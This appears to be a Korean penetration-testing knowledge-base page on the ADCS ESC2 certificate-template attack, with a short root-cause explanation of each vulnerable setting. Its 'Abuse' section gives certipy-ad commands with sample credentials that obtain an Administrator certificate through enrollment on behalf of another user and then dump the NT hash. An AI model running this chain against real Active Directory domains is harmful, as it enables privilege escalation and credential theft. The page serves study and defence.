ESC2

ESC1은 다음과 같은 속성들이 모두 만족할 때 가능한 ADCS 공격입니다.

속성

Authorized Signatures Required

0

Requires Manager Approval

False

Enrollment Rights

공격자가 컨트롤 가능한 객체 이하의 권한

Any Purpose / EKU

True / False

Include this information in alternate subject name

False

Abuse

UNIX
# 취약한 템플릿 열거
certipy-ad req -u Mick3y -p 'Password123!' -dc-ip 192.168.1.11 -target AD01.CONTOSO.COM -ca CONTOSO-AD01-CA -template ESC2

# 템플릿을 통한 인증서 발급
certipy-ad req -u Mick3y -p 'Password123!' -dc-ip 192.168.1.11 -target AD01.CONTOSO.COM -ca CONTOSO-AD01-CA -template ESC2

# 발급한 인증서를 통해 Administrator의 인증서 발급
certipy-ad req -u Mick3y -p 'Password123!' -dc-ip 192.168.1.11 -target AD01.CONTOSO.COM -ca CONTOSO-AD01-CA -template User -pfx mick3y.pfx -on-behalf-of 'contoso\Administrator'

# 인증서로부터 nt해시 덤프
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.11

Root Cause

Enrollment Rights

이 속성은 템플릿을 통해 인증서를 요청할 수 있는 권한이며 특정 유저(예 : 인증서 멤버)에게 국한하여 할당될 수 있습니다. 때문에 어떤 유저 계정을 탈취했냐에 따라 활용 가능한 ESC 취약점이 달라집니다.

Enrollment Rights

Requires Manager Approval & Authorized Signatures Required

Requires Manager approval 속성이 체크되어 있을 땐, 클라이언트가 인증서 요청 시 관리자가 이를 허가해야만 발급되는 절차입니다. 속성에 입력된 값만큼 서명이 요구되며 기본값은 0입니다.

This number of authorized signatures는 10을 초과하더라도 실제론 10개의 서명만을 요구하지만, 현실적으로 보기 드물며 1로 설정하는 경우가 많습니다.

Any Purpose / EKU

템플릿의 발행 목적이 Any Purpose로 설정되거나 EKU(Extended Key Usage)에 명확한 값이 명시되어 있지 않을 경우, 공격자는 자신이 발행한 인증서를 통해 다른 사용자를 가장하여 인증할 수 있습니다.

Include this information in alternate subject name

기본적으로 사용자는 인증서 요청 시 E-mail과 UPN 필드를 명시해야 하지만, 해당 부분이 비활성화 되어있을 경우 이메일 정보 없이도 인증서 요청이 가능합니다.

Include this information in alternate subject name

References

Last updated

Was this helpful?